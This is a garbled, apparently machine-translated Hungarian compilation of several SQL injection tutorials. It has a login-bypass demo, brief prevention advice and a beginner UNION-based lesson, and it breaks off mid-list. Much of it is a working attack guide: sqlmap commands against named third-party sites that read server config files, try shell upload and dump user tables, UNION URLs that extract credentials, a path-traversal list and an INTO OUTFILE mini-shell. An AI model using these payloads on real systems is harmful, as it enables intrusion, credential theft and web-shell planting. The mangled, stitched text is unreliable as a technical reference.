Az SQL-befecskendezés olyan támadás, amely a dinamikus SQL-utasításokat használja ki az utasítások bizonyos részeinek megjegyzésével vagy egy olyan feltétel hozzáadásával, amely mindig igaz. A webalkalmazás-architektúrában lévő lyukakat célozza meg, és SQL-utasításokat használ a rosszindulatú SQL-kódok végrehajtására:

Ebben a cikkben megvizsgáljuk az SQL-befecskendezések során használt technikákat, és megvizsgáljuk, hogyan védhetjük meg a webalkalmazásokat az ilyen támadásoktól.

Hogyan működik az SQL injekció

A végrehajtható támadások típusai SQL használatával-az injekciók az érintett adatbázis-mechanizmusok típusában különböznek. A támadás dinamikus SQL utasításokat céloz meg. A dinamikus utasítás olyan utasítás, amely futás közben jön létre egy webes űrlap vagy URI lekérdezési karakterlánc paraméterei alapján.

Vegyünk egy egyszerű webalkalmazást bejelentkezési űrlappal. A HTML űrlap kódja alább található:

• Az űrlap elfogad egy e-mail címet, majd a jelszót elküldi az index.php nevű PHP fájlba;
• A munkamenet tárolva van süti. Ez a funkció a Remember_me jelző bejelölésével engedélyezhető. A postázási módszert használják az adatok küldésére. Ez azt jelenti, hogy az értékek nem jelennek meg az URL-ben.

Tegyük fel, hogy a felhasználói azonosító ellenőrzésére vonatkozó kérés a szerver oldalon így néz ki:

• A kérés közvetlenül használja a $_POST tömb értékeit, anélkül, hogy megtisztítása volna;
• A jelszót az MD5 algoritmus titkosítja.

Megvizsgálunk egy támadást az SQL injekció sqlfiddle használatával. Nyissa meg a http://sqlfiddle.com/ URL-t a böngészőjében. A következő ablak jelenik meg a képernyőn.

Megjegyzés: SQL utasításokat kell írnia:

1. lépés: Írja be ezt a kódot a bal oldali panelen:

`felhasználók` TÁBLÁZAT LÉTREHOZÁSA (`azonosító` INT NOT NULL AUTO_INCREMENT, `e-mail` VARCHAR(45) NULL, `jelszó` VARCHAR(45) NULL, ELSŐDLEGES KULCS (`id`)); beilleszteni a felhasználókba (e-mail, jelszó) értékeket (" [e-mail védett]",md5("abc"));

2. lépés: Kattintson a gombra Építési séma».
3. lépés: Írja be az alábbi kódot a jobb oldali ablaktáblába:

válassza ki a * felhasználók közül;

4. lépés: Kattintson a " Futtassa az SQL-t" A következő eredményt fogja látni:

Tegyük fel, hogy a felhasználó megad egy e-mail címet [e-mail védett]és az 1234 jelszót. Az adatbázisban végrehajtandó lekérdezés a következőképpen nézhet ki:

A fenti példakénti SQL-befecskendezési kód megkerülhető a jelszó egy részének megjegyzésével és egy olyan feltétel hozzáadásával, amely mindig igaz. Tegyük fel, hogy a támadó a következő adatokat szúrja be az e-mail cím mezőbe:

[e-mail védett]" VAGY 1 = 1 KORLÁTOZÁS 1 -- " ]

és xxx a jelszó mezőben.

A generált dinamikus utasítás így fog kinézni:

• [e-mail védett] egyetlen idézőjelre végződik, amely befejezi a karakterláncot;
• VAGY 1 = 1 A LIMIT 1 egy olyan feltétel, amely mindig igaz, és a visszaadott eredményeket csak egy rekordra korlátozza.

0; Az AND ... egy SQL megjegyzés, amely kizárja a jelszó részt.

Másolja ki a fenti lekérdezést, és illessze be a FiddleRun SQL szövegmezőbe az alábbiak szerint:

Hacker tevékenység: SQL-befecskendezések webes alkalmazásokba

A http://www.techpanda.org/ címen elérhető egy egyszerű webes alkalmazásunk, amelyet kifejezetten sebezhetővé tettek a támadásokkal szemben. SQL injekció kezdőknek bemutató céllal. A fent megadott HTML űrlapkód az alkalmazás engedélyezési oldaláról származik.

Biztosítja alapvető biztonság, mint például az e-mail mezők fertőtlenítése. Ez azt jelenti, hogy a fenti kód nem használható ennek a mechanizmusnak a megkerülésére.

Ennek megkerüléséhez használhatja a jelszó mezőt. Az alábbi diagram bemutatja a követendő lépéseket:

Tegyük fel, hogy a támadó a következő adatokat adja meg:

1. lépés: Lépjen be [e-mail védett] e-mail címként;
2. lépés: Írja be a következőt: xxx’) VAGY 1 = 1 - ] ;

Kattintson a „Küldés” gombra.

Ezt elküldik az adminisztrációs panelnek. A generált lekérdezés így fog kinézni:

Az alábbi diagram bemutatja, hogyan jött létre a kérés:

Itt:

• A kérés feltételezi, hogy md5 titkosítást használnak;
• Záró idézőjel és zárójel használatos;
• Az operátorhoz egy feltétel kerül, amely mindig igaz.

A támadók általában több különböző módszert próbálnak meg alkalmazni az SQL injekciós támadás során céljaik elérése érdekében.

Más típusú SQL injekciós támadások

Az SQL injekciók jelentős károkat okozhatnak több kárt mint az engedélyezési mechanizmust megkerülve bejelentkezni a rendszerbe. Néhány ilyen támadás:

• Adattörlés végrehajtása;
• Adatfrissítés végrehajtása;
• Adatok hozzáadása;
• Parancsok végrehajtása a kiszolgálón, amely letölti és telepíti a rosszindulatú programokat;
• Exportálás ide távoli szerverértékes adatok, például hitelkártyaadatok támadója, emailés jelszavakat.

A fenti lista nem teljes. Egyszerűen csak képet ad az SQL-injekciók által jelentett veszélyekről.

Eszközök az SQL injekciók automatizálásához

A fenti példában manuális támadási módszereket alkalmaztunk. Az SQL injekció végrehajtása előtt meg kell értenie, hogy vannak olyan automatizált eszközök, amelyek lehetővé teszik a támadások hatékonyabb és gyorsabb végrehajtását:

• SQLSmack ;
• SQLPing 2 ;
• SQLMap.

Hogyan lehet megakadályozni az SQL injekciókat

Íme néhány egyszerű szabályok, amely lehetővé teszi az SQL-injekciók használatával történő támadások elleni védelmet:

A felhasználói bevitelben nem szabad megbízni. Mindig meg kell tisztítani, mielőtt az adatokat dinamikus SQL-műveletekben felhasználnák.

Tárolt eljárások- Képesek SQL lekérdezéseket beágyazni, és minden bemeneti adatot paraméterként feldolgozni.

Előkészített lekérdezések- Először a lekérdezések jönnek létre, majd az összes megadott felhasználói adatot paraméterként dolgozzák fel. Ez nincs hatással az SQL utasítás szintaxisára.

Reguláris kifejezések- használható a potenciálisan rosszindulatú kód észlelésére és eltávolítására az SQL utasítások végrehajtása előtt.

Hozzáférési jogok az adatbázishoz való csatlakozáshoz-hoz véd az SQL-injekciók ellen, az adatbázishoz való csatlakozáshoz használt fiókoknak csak a szükséges hozzáférési jogokat kell biztosítaniuk. Ez segít korlátozni az SQL utasítások által a kiszolgálón végrehajtható műveleteket.

Hibaüzenetek- nem közölhet bizalmas információkat. Egyszerű egyéni hibaüzenetek, mint pl. Bocsánat, felmerült műszaki hiba. A támogató csapatot már értesítették erről. Kérjük, próbálja újra később" használható a hibát okozó SQL-lekérdezések megjelenítése helyett.

Spoiler: .ZEN

Van egy SQL-injekció az oldalon, amely így néz ki:

Az első dolog, amit meg akarunk tenni, hogy ellenőrizzük, hogy van-e jogosultságunk fájlokat írni a megtámadott erőforrásra, betöltjük a terminált, és kiadjuk a következő parancsot:

Http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Megnyomjuk az Enter billentyűt, és megkezdődik az SQL Injection elemzése, a jelentés így néz ki:

Ahogy a jelentésben is látható, az Apache verziója, a MySQL verziója és a szerverre telepített operációs rendszer verziója meg van írva, mindez hasznos lesz számunkra a jövőben, de ami a legfontosabb, láthatja, hogy jogunk van fájlok írására, ez a Current User is DBA: True sorban jelenik meg

A következő lépés számunkra a shell rögzítéséhez szükséges útvonalak beszerzése. Webhelyünk elérési útját a szerveren a httpd.conf fájl letöltésével érhetjük el. A httpd.conf fájl helyéről innen kapunk információkat a Google segítségével, kereshet a telepített operációs rendszer verziója vagy a legvalószínűbb elérési utak listája alapján. Általában nem fogok belemerülni a szörfözésbe keresőmotorok, amikor megtudta a fájl elérési útjának legvalószínűbb helyét, itt az ideje, hogy ugyanazt a fájlt letöltse a lemezére, ehhez írja be a következő parancsot, és kérje a fájl beolvasását a szerveren:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

Azonnal jegyezzük meg, hogy ezt a konfigurációs fájlt nem mindig lehet először megtalálni, ezért használhatja a legvalószínűbb elérési utat, ahol ez a fájl található:

A KONFIG FÁJL LEHETSÉGES ÚTJÁNAK LISTÁJA:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

Az sqlmap-tól a következő formában kapunk jelentést:

Amint látja, az sqlmap azt mondta nekünk, hogy a fájl mérete megegyezik a szerveren lévő fájl méretével, ezért jogunk van elolvasni ezt a fájlt. Ha nem lenne elegendő jogosultság a fájl olvasásához, akkor hibaüzenet jelenik meg, hogy a gépünkre mentett fájl mérete eltér a szerveren lévő fájl méretétől, vagy nincs fájl a szerveren az általunk megadott elérési úton és soha volt. Az Sqlmap elmentette a fájlunkat a jelentésfájlokba, és az olvasáshoz el kell indítani az ablakkezelőt. Az ablakkezelő elindításához megnyitunk egy másik terminálablakot, és beírjuk a parancsot:

Ezután a megnyíló kezelőben azt az utat követjük, ahol az sqlmap hozzáadta a fájlt, azaz:
/root/.sqlmap/output/sacoor.com
Ezután vigye a kurzort a fájl fölé, nyomja meg az F3 gombot a billentyűzeten, és olvassa el az Apache konfigurációs fájlt:

A konfigurációs fájlunkból azt látjuk, hogy webhelyünk a következő elérési útvonalon található:
/home/sbshop/site/

Most, hogy van egy kis információnk, megpróbálhatjuk kitölteni a shellt, ehhez a következő parancsot írjuk be:

Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

A parancs beírása után az sqlmap megkérdezi, hogy milyen típusú kitöltőt szeretnénk használni, mert... esetünkben PHP nyelvű az oldal, akkor feltöltjük a PHP-betöltőt, kiválasztjuk a 4-es elemet és nyomjuk meg az Entert. Ezután az sqlmap megkér minket, hogy válasszuk ki, hova töltsük fel a betöltőnket, és mivel... A szerveren már ismerjük a webhelyünk elérési útját, majd válassza ki a 2. elemet, nyomja meg az Enter billentyűt, és adja meg a webhely elérési útját:
/home/sbshop/site/

Ezután nyomja meg az Enter billentyűt, és nézze meg a következő jelentést:

Ebben az esetben az sqlmap azt mondja nekünk ezt a mappát Nincs írási jogunk. Nem probléma, ez a probléma meglehetősen könnyen megoldható. Parancsot adunk az uniscan indítására és a fájlok és mappák írhatóságának ellenőrzésére, itt a parancs.

Mi az sqlmap és mire való?

A program lehetővé teszi a webhelyek SQL-injektálási és XSS-sebezhetőségeinek ellenőrzését, valamint az SQL-injektálás kihasználását. Különféle típusú SQL-injektálások és különféle adatbázisok támogatottak.

Mit lehet csinálni az sqlmap programmal?

Az sqlmap segítségével:

• ellenőrizze, hogy a webhelyeken vannak-e sérülékenységek

Ha a webhely sebezhető az SQL injekcióval szemben, akkor lehetséges:

• információkat kaphat az adatbázisból, beleértve a (teljes) adatbázis kiíratását
• adatok módosítása és törlése az adatbázisból
• shell (hátsó ajtó) feltöltése egy webszerverre

Az sqlmap használatának egyik forgatókönyve:

• Felhasználónév és jelszó lekérése az adatbázisból
• Webhelyadminisztrációs panelek keresése (adminisztrációs panel)
• Jelentkezzen be az adminisztrációs panelre a kapott bejelentkezéssel és jelszóval

Ha van sebezhetőség, a támadás többféle irányba fejlődhet:

• Adatmódosítás
• A hátsó ajtó kitöltése
• JavaScript kód beszúrása felhasználói adatok beszerzéséhez
• Megvalósítási kód a marhahúsra akasztáshoz

Amint látjuk, az SQL injekció egy nagyon veszélyes sebezhetőség, amely nagyszerű lehetőségeket ad a támadónak.

Weboldalak ellenőrzése sqlmap segítségével

Ha a webhely GET metódussal kap adatokat a felhasználótól (amikor a változó neve és a továbbított adatok is láthatóak a böngésző címsorában), akkor ki kell választani annak az oldalnak a címét, amelyben ez a változó található. jelenlegi. Utána jön kérdőjel (? ), Például:

• http://www.dwib.org/faq2.php?id=8
• http://www.wellerpools.com/news-read.php?id=22
• http://newsandviews24.com/read.php?id=p_36

Az első címben a változó neve az id, és az átadott érték 8 . A második címben a változó neve is szerepel id, és a továbbított érték 22 . A harmadik példában a változó neve ugyanaz, de az átadott érték igen p_36. Ugyanaz a változónév véletlenszerűen illeszkedik a különböző oldalakhoz, bármi lehet, az átvitt adatok bármiek lehetnek, több változó is lehet, amelyek értékeit egy szimbólum választja el & .

Ha ellenőrizni akarjuk, hogy az id változó sebezhető-e az SQL injekcióval szemben, akkor meg kell adnunk a teljes címet - http://www.dwib.org/faq2.php?id=8 (nem http://www.dwib .org /faq2.php vagy http://www.dwib.org).

A GET metódus által átadott változó ellenőrzésére szolgáló parancs nagyon egyszerű:

Sqlmap -u site_address

Ezeken a webhelyeken a következő parancsok lesznek:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

Az ellenőrzési folyamat során az sqlmap beállíthatja különféle kérdéseketés válaszolni kell rájuk y(azaz igen) ill n(azaz nem). Az y és n betű lehet nagy vagy kicsi. A nagybetű az alapértelmezett választást jelenti, ha egyetért vele, csak nyomja meg az Enter billentyűt.

Példák helyzetekre és kérdésekre:

A heurisztika azt észlelte, hogy a célt valamilyen WAF/IPS/IDS védi. Szeretné, hogy az sqlmap megpróbálja észlelni a háttér WAF/IPS/IDS-t?

A heurisztika megállapította, hogy a célt valamilyen WAF/IPS/IDS védi. Szeretné, hogy az sqlmap megpróbálja meghatározni a WAF/IPS/IDS nevét?

Kedvenc kérésem:

A heurisztikus (alap) teszt azt mutatja, hogy az „id” GET paraméter beilleszthető (lehetséges DBMS: „MySQL”). Az „id” GET paraméter SQL-befecskendezésének tesztelése úgy tűnik, hogy a háttér-DBMS „MySQL”. Szeretné kihagyni a más DBMS-ekre jellemző teszt hasznos adatokat?

A lényeg az, hogy a heurisztika megállapította, hogy a paraméter sérülékeny lehet, és a távoli DBMS-t már azonosították, megkérdezik, hogy folytatjuk-e az ellenőrzést. A második képernyőképen pedig az oldal is sebezhető az XSS-sel szemben.

Ha automatizálni szeretné a folyamatot, hogy az sqlmap ne kérdezzen meg minden alkalommal, hanem használja az alapértelmezett beállítást (mindig legjobb lehetőségek), akkor futtathatja a parancsot az opcióval -- köteg:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Lehetséges problémák az sqlmap vizsgálatakor

A következő hibák jelenhetnek meg:

A kapcsolat időtúllépése a cél URL-hez. Az sqlmap újra megpróbálja a kérelmeket, ha a probléma továbbra is fennáll, ellenőrizze, hogy a megadott cél URL érvényes-e. Ebben az esetben megpróbálhatja újraindítani a "--random-agent" kapcsolót és/vagy a proxykapcsolókat ("--ignore-proxy", "--proxy",...)

Ez azt jelenti, hogy a webhely nem akar „beszélni” az sqlmap-pal. Opcióként felajánljuk a használatát -- véletlenszerű ügynök. Ha a böngészőben meg tudod nézni az oldalt, de az sqlmap a csatlakozás lehetetlenségéről ír, akkor az oldal figyelmen kívül hagyja a kéréseket, a felhasználói ügynökre koncentrál. A --random-agent beállítás a standard sqlmap értéket véletlenszerűre változtatja:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

A hiba másik oka az lehet, hogy az IP-címét egy webhely blokkolja – ekkor proxyt kell használnia. Ha már használ proxyt, és ez a hibaüzenet jelenik meg, ez azt jelentheti, hogy a proxy kommunikációs problémái vannak, és meg kell próbálnia anélkül.

sqlmap vizsgálat eredménye

Az észlelt SQL-injekciók a következőképpen jelennek meg:

Azok. félkövér zöld színnel vannak kiemelve, fel van írva a sebezhető paraméter neve, az SQL sebezhetőség típusa és ott van a szó injekciózható.

Az adatbázisok listájának lekérése sqlmap segítségével

Az adatbázisok listájának megtekintéséhez használja a lehetőséget --dbs. Példák:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Információk lekérése adatbázisokból

Például két adatbázist találtunk a wellerpools.com webhelyhez:

[*] információs_séma [*] main_wellerpools

Szeretném megtudni a main_wellerpools adatbázis tábláinak listáját. Ehhez használja a lehetőséget -- táblázatok. Ezen kívül az opció után meg kell jelölnünk a minket érdeklő táblázatot -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

A táblázatok listája:

Valamilyen oknál fogva szeretném tudni a felhasználók táblázat oszlopainak listáját. Ehhez használja a lehetőséget --oszlopok. Ezen kívül meg kell jelölnünk a minket érdeklő adatbázist ( -D main_wellerpools) és a kulcs után -T a táblázat, amelynek oszloplistáját szeretnénk látni:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

A tartalom megjelenítéséhez használja a lehetőséget --dömping. Az adatbázissal együtt megadható, majd a teljes adatbázis kiíratása készül, vagy korlátozható az adatok egy táblára vagy akár egy oszlopra. A következő paranccsal szeretném látni a teljes felhasználói tábla tartalmát:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Vessen egy pillantást a jelszavakra – egy gyors ellenőrzés után azt hittem, hogy ezek hash-ek. Az adminok valóban próbáltak védekezni, de ez nem segített rajtuk.

Egyébként, mivel a GET metódussal küldött adatokat fogadó paraméter sebezhető, közvetlenül a böngésző sorában lehet kérést formálni oly módon, hogy a felhasználó bejelentkezési neve és jelszava közvetlenül az oldalon jelenjen meg:

• http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(felhasználói_név,0x3a,felhasználói_pwd),3,4,5,6,7,8,9, 10+felhasználóktól--
• http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+felhasználóktól--

Azok. Rendelkezünk az oldal felhasználóinak (és valószínűleg még a rendszergazdáinak) felhasználónevével, jelszavával és e-mail címével. Ha megtalálja a webhely adminisztrációs paneljét, átveheti az irányítást a webhely vagy a webszerver felett. Figyelembe véve, hogy a felhasználók szeretik ugyanazokat a jelszavakat, és ismerik őket postafiókok- Megpróbálhatod feltörni a leveleidet.

Általánosságban elmondható, hogy az SQL injekció egy nagyon veszélyes sebezhetőség.

Üdvözlet olvasó. Utóbbi időben, Érdekel a webbiztonság, és bizonyos mértékig a munkám is ehhez kapcsolódik. Mert Egyre gyakrabban kezdtem észrevenni olyan témákat a különböző fórumokon, amelyek arra kérték őket, hogy mutassák be, hogyan működik mindez, ezért úgy döntöttem, írok egy cikket. A cikk azoknak szól, akik még nem találkoztak ezzel, de szeretnének tanulni. Viszonylag sok cikk található ebben a témában az interneten, de a kezdők számára kissé bonyolultak. Megpróbálok mindent világos nyelven és részletes példákkal leírni.

Előszó

Hogy megértsük ezt a cikket, igazából nem kell az SQL nyelv ismerete, de legalább jó türelem és egy kis agy az emlékezéshez.

Szerintem nem lesz elég csak elolvasni a cikket, mert... szükségünk van élő példákra - mint tudod, a memorizálás folyamatában a gyakorlat soha nem felesleges. Ezért sebezhető szkripteket fogunk írni, és oktatni fogunk rájuk.

Mi az SQL injekció?

Beszélő egyszerű nyelven egy olyan támadás az adatbázis ellen, amely lehetővé teszi olyan műveletek végrehajtását, amelyeket a szkript készítője nem szánt. Példa az életből:

Apa azt írta az anyjának, hogy adjon Vasyának 100 rubelt, és tegye le az asztalra. Ezt komikus SQL nyelvre átdolgozva a következőket kapjuk:
VEGYEN KI 100 RUBLT A PÉNZTÁRCÁJÁBÓL, ÉS ADJA VASJÁNAK

Mivel az apa rosszul írta a cetlit (ügyetlen kézírás), és az asztalon hagyta, Vasya testvére, Petya látta. Petya hacker lévén hozzátette az „OR Pete”-et, és az eredmény a következő kérés lett:
VEGYEN EL 100 RUBLT A PÉNZTÁRCÁJÁBÓL, ÉS ADJA VASJÁNAK VAGY Petyának

Anya, miután elolvasta a jegyzetet, úgy döntött, hogy tegnap pénzt adott Vasyának, és 100 rubelt adott Petyának. Itt van egy egyszerű SQL példa injekciók az élettől:) Az adatok szűrése nélkül (Anya alig tudta kivenni a kézírást) Petya profitot termelt.

Készítmény

A gyakorláshoz szüksége lesz egy archívumra a cikk forrásszkriptjeivel. Töltse le és csomagolja ki a szerveren. Ezenkívül importálja az adatbázist, és állítsa be az adatokat a fájlban cfg.php

Keresés az SQL injekcióban

Amint már megértette, az injekció bejövő adatokból származik, amelyek nem szűrtek. A leggyakoribb hiba az, hogy nem szűrjük a továbbított azonosítót. Nos, durván fogalmazva, tegyen idézőjeleket minden mezőbe. Legyen szó GET/POST kérésről vagy akár Cookie-ról!

Numerikus bemeneti paraméter

A gyakorlathoz szükségünk van egy forgatókönyvre index1.php. Ahogy fentebb mondtam, idézőjeleket szúrunk be a hírazonosítóba.

Mert A kérésünkben nincs szűrés:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

A forgatókönyv ezt így fogja érteni

SELECT * FROM news WHERE id=1"

És hibát fog jelezni:
Figyelmeztetés: a mysql_fetch_array() azt várja, hogy az 1. paraméter erőforrás legyen, a logikai érték megadva a C:\WebServ\domains\sqlinj\index1.php 16. sorban.

Ha a hiba nem jelenik meg, annak a következő okai lehetnek:

1. SQL-befecskendezés nincs itt – az idézőjelek szűrve vannak, vagy csak érdemes konvertálni rá (int)
2. A hibakimenet le van tiltva.

Ha továbbra is hibaüzenetet kap - Hurrá! Megtaláltuk az első típusú SQL-injektálást - Numerikus bemeneti paraméter.

String bemeneti paraméter

A kéréseket a címre küldjük index2.php. IN ezt a fájlt, a kérés így néz ki:
$felhasználó = $_GET["felhasználó"]; $query = "SELECT * FROM news WHERE user="$user"";

Itt felhasználónév alapján választjuk ki a híreket, és ismét nem szűrünk.
Ismételten küldünk egy kérést árajánlattal:

Hibát adott. Rendben! Ez azt jelenti, hogy van egy sebezhetőség. Kezdetnek nekünk ennyi is elég – kezdjük a gyakorlást.

Cselekedjünk

Egy kis elmélet

Valószínűleg alig várja, hogy a hibákon kívül mást is kihozzon ebből. Először is értse meg, hogy a " -- " megjegyzésnek számít az SQL-ben.

FIGYELEM! Előtte és utána szóköznek kell lennie. Az URL-ben a következőként kerülnek továbbításra %20

Minden, ami a megjegyzés után jön, el lesz vetve, vagyis a kérés:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Sikerülni fog. Kipróbálhatja ezt az index2.php szkripten az alábbi kérés elküldésével:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Tanuld meg a paramétert UNIÓ. SQL nyelven kulcsszó UNIÓ két SQL-lekérdezés eredményeinek egyetlen táblába való egyesítésére szolgál. Vagyis ahhoz, hogy kihúzhassunk valamit, amire szükségünk van egy másik asztalról.

Használjuk ki

Ha a paraméter „Numerikus”, akkor nem kell árajánlatot küldenünk a kérésben, és természetesen megjegyzést kell tennünk a végére. Térjünk vissza a forgatókönyvhöz index1.php.

Térjünk rá az sqlinj/index1.php?id=1 UNION SELECT 1 szkriptre. Adatbázis-lekérdezésünk így néz ki:
SELECT * FROM news WHERE id=1 UNION SELECT 1
És hibát adott nekünk, mert... az összevont lekérdezésekhez ugyanannyi mezőre van szükségünk.

Mert Az első kérésnél nem tudjuk befolyásolni a számukat, akkor a másodiknál ​​úgy kell kiválasztanunk a számukat, hogy az egyenlő legyen az elsővel.

A mezők számának kiválasztása

A mezők kiválasztása nagyon egyszerű, csak küldje el a következő kéréseket:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Hiba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Újabb hiba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Nincs hiba! Ez azt jelenti, hogy az oszlopok száma 5.

GROUP BY

Gyakran előfordul, hogy 20, 40 vagy akár 60 mező is lehet, hogy ne kelljen minden alkalommal válogatni, használjuk GROUP BY

Ha a kérés
sqlinj/index1.php?id=1 GROUP BY 2
nem mutatott hibát, ami azt jelenti, hogy a mezők száma több mint 2. Próbáljuk meg:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, hibát látunk, ez azt jelenti, hogy a mezők száma kevesebb, mint 8.

Ha a GROUP BY 4-nél nincs hiba, a GROUP BY 6-nál pedig hiba van, akkor a mezők száma 5

Kimeneti oszlopok meghatározása

Ahhoz, hogy az első kéréstől kezdve semmi ne jelenjen meg számunkra, elegendő egy nem létező azonosítót helyettesíteni, például:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

Ezzel a művelettel meghatároztuk, hogy mely oszlopok jelenjenek meg az oldalon. most ezeket a számokat a következőre kell cserélni szükséges információkat, folytatnia kell a kérést.

Adatkimenet

Tegyük fel, hogy tudjuk, hogy a táblázat még létezik felhasználókat amelyben a mezők léteznek id, névÉs pass.
Információt kell szereznünk az ID=1 felhasználóról

Ezért készítsük el a következő lekérdezést:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM felhasználóktól WHERE id=1
A szkript is tovább megy

Ehhez az 1-es és 3-as számok helyére a mezők nevét helyettesítjük

Sqlinj/index1.php?id=-1 UNION SELECT név,2,pass,4,5 FROM felhasználóktól WHERE id=1
Megkaptuk, amire szükségünk volt!

A "string bemeneti paraméter" esetében, mint a szkriptben index2.php az elejére idézőjelet, a végére pedig megjegyzést kell tenni. Példa:
sqlinj/index2.php?user=-1" UNION SELECT név,2,pass,4,5 FROM felhasználóktól WHERE id=1 --%20

Fájlok olvasása/írása

Fájlok olvasásához és írásához az adatbázis-felhasználónak FILE_PRIV jogosultsággal kell rendelkeznie.

Fájlok rögzítése

Valójában nagyon egyszerű. Fájl írásához a függvényt fogjuk használni OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 OUTFILE "1.php" --%20
Remek, a fájlt regisztráltuk nálunk. Így kitölthetjük a mini-héjat:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 OUTFILE "1.php" --%20

Fájlok olvasása

A fájlok olvasása még egyszerűbb, mint az írás. Elég csak a funkciót használni LOAD_FILE, az általunk kiválasztott mező helyére:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Így elolvastuk az előző írott fájlt.

A védekezés módszerei

Megvédeni magát még könnyebb, mint kihasználni egy sebezhetőséget. Csak szűrje le az adatokat. Ha számokat ad át, használja
$id = (int) $_GET["id"];
Ahogy a malroc felhasználó javasolta. Védje magát OEM vagy előkészített nyilatkozatok használatával.

Ahelyett, hogy befejezné

Itt szeretném befejezni az „SQL injekció kezdőknek” című első részét. A másodikban az injekciók súlyosabb példáit nézzük meg. Próbáljon meg sebezhető szkripteket írni, és saját maga hajtson végre lekérdezéseket.
És ne feledje, ne bízzon webhelye egyetlen felhasználójában sem.

Az SQL Injection egy olyan típusú támadás, amelyben a támadó módosítja egy webalkalmazás SQL lekérdezési logikáját, lehetővé téve számára az adatbázisban lévő értékek olvasását/módosítását/törlését, és néha tetszőleges kód futtatását a szerver oldalon. Ez a cikk az SQL injekciók végrehajtására szolgáló népszerű sqlmap segédprogramot tárgyalja.

On pillanatnyilag, ezt a típust a sebezhetőség a legveszélyesebb. 7 éve az „OWASP TOP-10” vezető vonalát az SQL injekciók vezetik.

Ennek a sebezhetőségnek 5 fő oka van:

1. A bemeneti paraméterek, különösen a felhasználói bevitel nem elegendő vagy nem érvényesül. „Bármilyen bemeneti paraméter rossz”
2. Indokolatlan és gyengén védett hozzáférés az adatbázisokhoz. Ez a kategória olyan tényezőket tartalmaz, mint: nagy számban rendszergazdák és szuperfelhasználók (root), gyenge hitelesítési rendszer, nagyszámú jog a másodlagos rendszergazdák számára stb.
3. Építészet. Elavult technológiák alkalmazása, ellenőrzési intézkedések hiánya, a „fenyegetés-modellezés” módszertanának elhanyagolása.
4. Nyilvánvalóan sebezhető kód öröklődése, kész megoldások használata alacsony biztonsági szint mellett.
5. A végrehajtható kódnak az adatoktól való megfelelő szintű absztrakciójának hiánya.

SQLMap.

Az SQL injekciók típusai.

Nézzük meg az SQLMap segédprogram által használt SQL-befecskendezések típusait:

1. Logikai alapú vak SQL-injekció
   • Olyan módszer, amelyben a HTTP-kérelmeket és -válaszokat a rendszer karakterenként olvassa be a biztonsági rések észlelése érdekében.
   • Ha egy sebezhető paramétert észlel, az SQLMap lecseréli vagy hozzáfűzi a szintaktikailag helyes SQL-utasításokat, miközben arra vár, hogy a kiszolgáló a kód végrehajtásával válaszoljon.
   • Az SQLMap összehasonlítja az eredeti érvényes kérést a beágyazott rosszindulatú kódot tartalmazó kérelem válaszával.
   • Az SQLMap a felező algoritmust használja ( biszekciós algoritmus) a válasz minden karakterének lekéréséhez legfeljebb hét HTTP-kéréssel.
   • Ha a választ nem tiszta szövegben adják meg, az SQLMap nagyobb értékekkel adaptálja az algoritmust a válasz meghatározásához.
2. Időalapú vak SQL-injekció
   • Maga a Time Based metódus azt feltételezi, hogy van némi összehasonlítás a kérés és a válaszidő alapján azáltal, hogy egy szintaktikailag helyes SQL utasítást fecskendez be a sebezhető paraméterbe.
